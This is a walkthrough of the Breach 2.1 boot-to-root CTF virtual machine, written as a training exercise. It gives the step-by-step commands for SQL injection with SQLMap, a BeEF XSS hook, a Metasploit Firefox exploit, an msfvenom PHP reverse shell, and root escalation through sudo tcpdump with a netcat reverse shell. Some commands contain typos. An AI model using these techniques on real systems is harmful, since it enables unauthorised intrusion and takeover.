CTF Challenges

Hack the Breach 2.1 VM (CTF Challenge)

Breach 2.1 is the second VM in the multi-series Boot2Root CTF challenges. This is developed by mrb3n. It is a high-level challenge and shows a lot of scenario including plenty of twists and trolls along the way. It works on a static IP i.e, therefore, we have configured our adapter to be a host-only adapter.

You can download it from https://www.vulnhub.com/entry/breach-21,159/


As our VM is hosted on static IP, there is no need to discover our target we will directly start by scanning our target.

nmap –p- -A

Nmap shows us that only three ports are open which are: 111, 52263, 65535 with the services of rpbind, status, SSH respectively. Let’s check the SSH port.

ssh –p 65535


-p = a specified port

Let’s assume here that password is “inthesource” because in the area between the hashes it says “Peter, if that’s you – the password is in the source”. that means Peter is the username and the password is inthesource. I gave it a try.

ssh peter@ –p 65535

It logged in but I couldn’t find anything. So I just gave nmap another try and there was port 80 open this time.

nmap -p- -A

As the port 80 just opened, to our luck we can open this in our browser now.

Now on the webpage, it says “Welcome to Initech Cyber consulting. LLC” and something about BEEF. Even in the page source, I found nothing so I decided to use DirBuster. It showed me a lot of directories but the one that stole my interest was /blog/.

So I opened it in the browser. It opened a travel blog. There was a search box on the blog so I tried SQL injection by using the single inverted comma (‘).

This way I found SQL vulnerability so I used SQLMap next.

Sqlmap –u  –dbs

This command will start the process and it will show you five table names in the database.

Out of this five oscommerce is the most famous CMS of e-commerce websites. And this blog was also related to commerce. So I decided to use my next SQLMap command against this table in database.

Sql –u –dbs –D oscommerce –tables –dump

Execution of this command will give your username and password. The username is admin but the password that you will receive will be MD5 hash value.

You can crack this MD5 hash value using any third party or you can use an online method as I did.

Upon cracking the password you will get here is 32admin. Now I have usernames and password but I do not have a login portal. So I started exploring the blog but couldn’t find anything. So cooped and pasted it copyright information on google.

And upon search the google I found the first link of exploit-db.com that means there is an exploit for the said. And that’s why I opened the linked and explored it.

In the exploit there was information about XSS code and a link was provided. Now I know that BEEF does XSS work and on the very first webpage to there was something about BEEF. So naturally, I started working with BEEF.

Now BEEF automatically gives us a script which includes a link. I copied that link and opened the BEEF panel in the browser.

Here, go to register option and paste the copied link in the username area and give and random password and email.

As you can see BEEF will give you a session.

From the entire cross sitting details, BEEF have to show please pay close attention to the browser. You will find that our target is using FireFox 15.0 and fortunately there is an exploit for this in Metasploit.

Now, open Metasploit and type the following command to use the said exploit :

use exploit/multi/browser/firefox-proto_crmfrequest

set paypload generic/shell_reverse_tcp

set srvhost

set uripath shell

set lhost


Performing this exploit will give you an URL like in my case URL is Copy this link and go to the BEEF panel. In the BEEF panel go to the Commands tab > Hooked Domain > Redirect Browser. Paste the copied link here in the Redirect URL text box.

As you follow the above steps you will have a shell session.

Now here is a trick, you will lose the session as you as you will get it. Here you will have to transfer your shell session to meterpreter session within 5 seconds and for that type :

use post/multi/manage/shell_to_meterpreter

set session 1


And you will have a session. Open that session and you will reach the terminal. In the terminal, lets check out the home folder.

cd /home


In the home folder, you will three folders i.e. bill, milton, peter. It was not of much use so went ahead and checked network status.

netstat -tln

Checking the network status gave me some coordinates. So I checked them on Google map and found that it was the coordinates of Houston. Now, this Houston word can be a password or username so I just made a mental note of it for later use.

Except this I found nothing so I decided to use Telnet in order to get a reply and for that used the following command :

telnet 2323

This time it replied with a question i.e. whose stapler is it? Now I don’t know the answer so I just pressed enter. So to know the answer I wanted to search Milton user. And for this, commands are:

find /usr –user milton

cat /usr/local/bin/cd.py


Now in the python file, it showed me the programming and as you can see in the image you the coding shows that correct answer “mine”.

So, I repeated my steps to reach the same question. And gave the answer as mine.

Then I checked the status of network and observed that port 8888 opened.

I checked this port in the browser and found two directories.

Out of these, I opened oscommerce link and the following page opened.

I had the username and password for this CMS so I Google its admin page and logged in with the admin as username and admin as password.

Note: we have cracked the MD5 value of password that resulted in 32admin but here is is no use of 32. The password is admin.

It logged in but to upload the malicious code you have to follow the path is: file manage > includes > work.  Here you have to upload your php code.

To generate the code go to the terminal in Kali and type:

Msfvenom –p php/meterpreter/reverse-tcp lhost- lport=8443 –f raw

Copy <? to die(); and save it in a .php document.

Before running the file goes to mestaspoit and start multi/handler.

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost

set lport 8443


It will give you the meterpreter session and then type the combination of following commands to reach terminal :


echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py
python /tmp/asdf.py


Next type :


Still, we haven’t reached root but we found blumbergh, let’s see what privileges it has.

sudo –l

Ok. So it saya that it can rum a tcpdump file as root. That’s interesting. To manipulate tcpdump I need to run a set of following comands:

Echo $’id\n/bin/netcat 443 –e /bin/bash’ > /tmp/.test

Chmod +x /tmp/.test

Sudo tcpdump –ln –I eth- -w /dev/null –W 1 –G 1 –z /tmp/.tst –Z root

Tough part is over! Now I just need to run netcat :

nc –nlvp 443

Let’s confirm if we have reached root or not and if yes, let’s see what it has to offer :


cd /root


There ia flag.py file in /root. So no waiting. Lets capture the flag.

python .flag.py

HURRAYYYY!!!! The flag has been captured!!! Enjoy!

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